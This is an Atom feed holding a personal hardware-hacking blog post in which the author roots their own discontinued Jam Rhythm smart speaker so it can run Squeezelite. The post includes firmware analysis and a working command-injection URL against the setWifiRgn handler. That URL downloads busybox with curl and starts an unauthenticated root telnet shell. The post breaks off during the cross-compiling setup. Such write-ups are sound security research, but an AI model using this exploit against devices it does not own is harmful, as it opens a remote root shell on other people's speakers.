<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
	<title>obw's blog | witch.press</title>
	<subtitle>obw's blogspace on the internet</subtitle>
	<id>https://witch.press/</id>
	<link rel="alternate" type="text/html" href="https://witch.press/"/>
	<link rel="self" type="application/atom+xml" href="https://witch.press/atom.xml" />
	<generator>witch.press blog powered by Caddy</generator>
	<author>
		<name>offbeatwitch</name>
		<uri>https://offbeatwit.ch/</uri>
	</author>
	<updated>2026-05-26T05:27:02Z</updated>
	
	
	
	
	<entry>
		<id>https://witch.press/hacking-jam-rhythm.md</id>
		<title>Hacking a Jam Rhythm smart speaker</title>
		<summary>My 'smart' speaker was discontinued by the vendor, let's hack it</summary>
		<published>2025-11-04T11:02:00Z</published>
		<updated>2025-11-04T11:02:00Z</updated>
		<link rel="alternate" type="text/html" href="https://witch.press/hacking-jam-rhythm.md"/>
		<content type="html">
			<![CDATA[ <h1 id="hacking-a-jam-rhythm-smart-speaker">Hacking a Jam Rhythm smart speaker</h1>
<p>I have this smart speaker that lives in my kitchen. It's called a Jam Rhythm and it's been abandoned by the manufacturer since 2021. Let's hack it!</p>
<h2 id="wait-but-why">Wait but why</h2>
<p>I recently bought a Squeezebox Controller and set up <a href="https://lyrion.org/">Lyrion Music Server</a> in my house, because my two <a href="https://www.wiimhome.com/">WiiM</a> network audio players both run Squeezelite. It's very nice!</p>
<p>I can control the music in each room separately:</p>
<p><img src="/images/lyrion-rooms.png" alt="Screenshot of player view in LMS"></p>
<p>Or you can &quot;synchronize&quot; multiple players together, having them play the same music at the same time, so you can walk between rooms without the music getting too quiet to hear. It's pretty damn synchronized, too: I think the quoted
jitter is in the &lt;10ms range. Certainly to my ears the tracks appear to be in sync.</p>
<p>I also got a Squeezebox Receiver with my controller, and I'd been using that to play music in the kitchen... but that meant I had to have two things plugged in, just to play music out of one speaker!
And the speaker already <em>has</em> a networked computer in it... it can act as a DLNA receiver, and a Spotify Connect receiver... so why not Squeezelite?</p>
<h2 id="part-1-breaking-in">Part 1: Breaking in</h2>
<p>OK, but one big problem: the speaker is locked down. There's no obvious open SSH port or anything.</p>
<p>The speaker has a HTTP API running on the default port at the path <code>/httpapi.asp</code>.
There's some helpful <a href="https://github.com/AndersFluur/LinkPlayApi/blob/master/api.md">unofficial documentation</a> of some of the commands available at this endpoint;
using the <code>getStatus</code> command, we find some helpful firmware information:</p>
<pre class="chroma"><code><span class="line"><span class="cl">  <span class="s2">&#34;ssid&#34;</span><span class="err">:</span> <span class="s2">&#34;JAM RHYTHM_6484&#34;</span><span class="err">,</span>
</span></span><span class="line"><span class="cl">  <span class="s2">&#34;language&#34;</span><span class="err">:</span> <span class="s2">&#34;en_us&#34;</span><span class="err">,</span>
</span></span><span class="line"><span class="cl">  <span class="s2">&#34;firmware&#34;</span><span class="err">:</span> <span class="s2">&#34;4.2.9308&#34;</span><span class="err">,</span>
</span></span><span class="line"><span class="cl">  <span class="s2">&#34;hardware&#34;</span><span class="err">:</span> <span class="s2">&#34;A31&#34;</span><span class="err">,</span>
</span></span><span class="line"><span class="cl">  <span class="s2">&#34;build&#34;</span><span class="err">:</span> <span class="s2">&#34;release&#34;</span><span class="err">,</span>
</span></span><span class="line"><span class="cl">  <span class="s2">&#34;project&#34;</span><span class="err">:</span> <span class="s2">&#34;HMDX_W3111_EU&#34;</span><span class="err">,</span>
</span></span><span class="line"><span class="cl">  <span class="s2">&#34;priv_prj&#34;</span><span class="err">:</span> <span class="s2">&#34;HMDX_W3111_EU&#34;</span><span class="err">,</span>
</span></span><span class="line"><span class="cl">  <span class="s2">&#34;project_build_name&#34;</span><span class="err">:</span> <span class="s2">&#34;a31jameup&#34;</span><span class="err">,</span>
</span></span></code></pre><p>The <code>hardware</code> key reveals this speaker is based on the <a href="https://www.linkplay.com/modules">Linkplay A31</a> system-on-module.
Digging around a little I found a couple of git repositories by those that have come before me:</p>
<ul>
<li><a href="https://github.com/Crymeiriver/LS150">Crymeiriver/LS150</a>, a firmware dump of the iRiver LS-150 speaker, which also uses the A31</li>
<li><a href="https://github.com/Jan21493/Linkplay">Jan21493/Linkplay</a>, reverse engineering of Acrylic amplifiers that use the A31</li>
<li><a href="https://github.com/hn/linkplay-a31">hn/linkplay-a31</a>, a custom firmware replacement(!) for A31 systems</li>
</ul>
<p>In the AndersFluur/LinkPlayApi repository, they mention an undocumented command that enables telnet: <code>507269765368656C6C:5f7769696d75645f</code>.</p>
<p>I tried this out, but on my speaker it just returns &quot;unknown command&quot;:</p>
<pre><code>~ ➥ curl http://192.168.40.155/httpapi.asp\?command\=507269765368656C6C:5f7769696d75645f
unknown command%
</code></pre>
<p>Jan21493's repository also mentions enabling a telnet server, so I investigated that next.
In <a href="https://github.com/Jan21493/Linkplay/blob/main/TELNETD.md">TELNETD.md</a> they describe how the <code>getsyslog</code> command is vulnerable to
command injection, as part of the string is passed directly to a <code>system(3)</code> call. However, this particular exploit was patched in an update -
it didn't work on my speaker.</p>
<p>After failing these attempts, and resolving that I really didn't want to take the speaker apart to look for a serial port, I decided to investigate
the firmware to see if there were any other obvious entrypoints.</p>
<h3 id="virtual-disassembly">Virtual disassembly</h3>
<p>I had already downloaded the latest firmware files earlier, so I started poking at them with <code>binwalk</code>:</p>
<pre class="breakout"><code>                                 ~/dev/dumps/linkplay/A6t36nZJ6PJy6EoBr4kmLE/extractions/a31jameup_new_uImage_20210208
--------------------------------------------------------------------------------------------------------------------------------------------
DECIMAL                            HEXADECIMAL                        DESCRIPTION
--------------------------------------------------------------------------------------------------------------------------------------------
0                                  0x0                                uImage firmware image, header size: 64 bytes, data size: 1881614
                                                                      bytes, compression: lzma, CPU: MIPS32, OS: SVR4, image type: OS
                                                                      Kernel Image, load address: 0x80000000, entry point: 0x8000C150,
                                                                      creation time: 2021-02-08 03:14:18, image name: "Linux Kernel Image"
1881678                            0x1CB64E                           uImage firmware image, header size: 64 bytes, data size: 6160384
                                                                      bytes, compression: gzip, CPU: MIPS32, OS: SVR4, image type:
                                                                      Filesystem Image, load address: 0x0, entry point: 0x0, creation time:
                                                                      2021-02-08 03:14:18, image name: "Wiimu Rootfs"
--------------------------------------------------------------------------------------------------------------------------------------------
</code></pre>
<p>Hey, those are uBoot images! The second one is the root filesystem, which turns out to be compressed with squashfs. Binwalk can extract that just fine, so one <code>binwalk -eM</code> later:</p>
<pre class="chroma"><code><span class="line"><span class="cl">0/squashfs-root ➥ ls
</span></span><span class="line"><span class="cl">bin  etc     home  lib    mnt   sbin  system  usr  vendor
</span></span><span class="line"><span class="cl">dev  etc_ro  init  media  proc  sys   tmp     var
</span></span></code></pre><p>The LS150 repository mentioned that the main app is called <code>rootApp</code>, and that lives in <code>/system/workdir/bin/rootApp</code>.
I thought to myself, well, previous firmware versions had easy <code>system(3)</code> exploits - I'm sure there's more suspicious code lurking in other HTTP handlers. So I fired up Ghidra and chucked the binary in:</p>
<p><img src="/images/ghidra-rootApp.png" alt="Screenshot of Ghidra with the decompiled code of rootApp"></p>
<p>The binary has a nice obvious function called <code>GoaheadCmdParsethread</code> - that's the thread that parses commands received from the <a href="https://www.embedthis.com/goahead/">GoAhead HTTP server</a>.
So I started grepping that function for <code>system(3)</code> calls, and it didn't take long until I found one that looked suspicious:</p>
<p><img src="/images/ghidra-suspicious-system-call.png" alt="Screenshot of suspicious system call"></p>
<p>This is the handler for an undocumented command <code>setWifiRgn</code>, which I believe is meant to be used during setup to set parameters of the inbuilt WiFi AP.
You can see they build a string to <code>local_848</code>: <code>iwpriv ra0 set CountryRegion=%s</code>. They presumably intended to pass this string to the system call.
That alone would be exploitable, but this block of code is way weirder: for some reason, in this handler, they pass <strong>the entire incoming command string</strong> to <code>system(3)</code>.</p>
<p>(Instead of running <code>iwpriv</code>, it will try running a string like <code>setWifiRgn:CountryRegion=1</code> as a command, which will error. Of course, they don't handle any errors returned by <code>system(3)</code>, so nothing much happens.)</p>
<p>I have <em>no clue</em> how this code ended up in this state, but it's nice and useful for us; since the handler doesn't actually run any commands, we can simply append our exploit payload
after a semicolon, and that'll be the only thing that runs. With one final quirky catch:</p>
<h3 id="a-little-bit-of-string-mutation">A little bit of string mutation</h3>
<p>I've commented the following code for clarity:</p>
<pre class="chroma"><code><span class="line"><span class="cl"><span class="c1">// Find &#34;:CountryRegion=&#34; in the command string __s1, returning a pointer inside __s1
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="n">pcVar12</span> <span class="o">=</span> <span class="nf">strstr</span><span class="p">(</span><span class="n">__s1</span><span class="p">,</span><span class="s">&#34;:CountryRegion=&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="c1">// If found...
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="k">if</span> <span class="p">(</span><span class="n">pcVar12</span> <span class="o">!=</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="c1">// Advance the pointer by 0xf (15) bytes, to the end of &#34;:CountryRegion=&#34;
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="n">pcVar12</span> <span class="o">=</span> <span class="n">pcVar12</span> <span class="o">+</span> <span class="mh">0xf</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="c1">// Search forward for char 0x3a (that&#39;s the ASCII/UTF8 encoding for a colon &#39;:&#39;)
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="n">pcVar13</span> <span class="o">=</span> <span class="nf">strchr</span><span class="p">(</span><span class="n">pcVar12</span><span class="p">,</span><span class="mh">0x3a</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="c1">// If found,
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="k">if</span> <span class="p">(</span><span class="n">pcVar13</span> <span class="o">!=</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// Set the byte at that offset to null.
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="o">*</span><span class="n">pcVar13</span> <span class="o">=</span> <span class="sc">&#39;\0&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// [irrelevant code removed]
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl">  <span class="nf">system</span><span class="p">(</span><span class="n">__s1</span><span class="p">);</span>
</span></span></code></pre><p>So, if we have an incoming string <code>__s1</code> that looks something like this:</p>
<p><code>setWifiRgn:CountryRegion=1;curl http://example.org</code></p>
<p>then this code inserts a null byte at the second colon, which terminates the string there, breaking our command. So we have to build our command string without any colon characters.</p>
<p>Luckily, curl is <em>very</em> lenient with parsing URLs, and the following is valid:</p>
<p><code>curl -o /tmp/bin/busybox 192.168.1.10/busybox</code></p>
<p>Curl will infer the rest, so the above command will connect to port 80 over HTTP, and download the file to <code>/tmp/bin/busybox</code>. Nice!</p>
<p>So, I grabbed a precompiled busybox binary from the <a href="https://github.com/Jan21493/Linkplay">Jan21493/Linkplay</a> repository, threw up a HTTP server on port 80 with <code>sudo python3 -m http.server 80</code>,
and constructed my payload:</p>
<pre><code>mkdir /tmp/bin;
curl -o /tmp/bin/busybox 192.168.40.189/busybox;
chmod 555 /tmp/bin/busybox;
/tmp/bin/busybox telnetd -l/bin/ash
</code></pre>
<p>No colons required! The final HTTP URL to call to trigger the exploit looks like this:</p>
<pre><code>http://192.168.40.155/httpapi.asp?command=setWifiRgn:CountryRegion=1;mkdir%20/tmp/bin;curl%20-o%20/tmp/bin/busybox%20192.168.40.189/busybox;chmod%20555%20/tmp/bin/busybox;/tmp/bin/busybox%20telnetd%20-l/bin/ash
</code></pre>
<h3 id="hacker-voice-im-in"><em>hacker voice</em> I'm in</h3>
<p>Now we can <code>telnet 192.168.40.155 23</code>, and we're in:</p>
<pre><code>Trying 192.168.40.155...
Connected to 192.168.40.155.
Escape character is '^]'.


BusyBox v1.12.1 () built-in shell (ash)
Enter 'help' for a list of built-in commands.

#
</code></pre>
<p>The built-in busybox binary is pretty basic, but we can fill in the gaps with our imported busybox binary at /tmp/bin/busybox.</p>
<p>I did some poking around to figure out the environment. There is a working copy of <code>top</code>, so I can see what processes are running.
The speaker's built-in functionality seems to be powered by a collection of several processes which communicate via unix sockets and
a single shared memory area.</p>
<h2 id="part-2-oh-god-i-am-not-good-with-cross-compiler-please-into-help">Part 2: Oh god I am not good with cross-compiler please into help</h2>
<p>Ohhhh boy it's been a couple months let's see if I remember what the hell I did here.</p>
<p>So our next task is to get <a href="https://github.com/ralph-irving/squeezelite/">Squeezelite</a> running.
We need to compile the binary for this speaker; for that I need a cross-compiler.</p>
<p>While messing around with a different embedded system last year I came across <a href="https://github.com/dockcross/dockcross/">dockcross</a>,
which is a project that provides preconfigured cross-compiler toolchains in Docker images. This is a lot easier than messing around with
installing cross-compilers on my host!</p>
<p>The architecture of the speaker's CPU is MIPS, and the libc is uClibc. dockcross has a pre-published image for that!
Setting that up is as simple as running <code>docker run --rm dockcross/linux-mips-uclibc &gt; dockcross</code>. Except...</p>
 ]]>
		</content>
	</entry>
	
	
</feed>
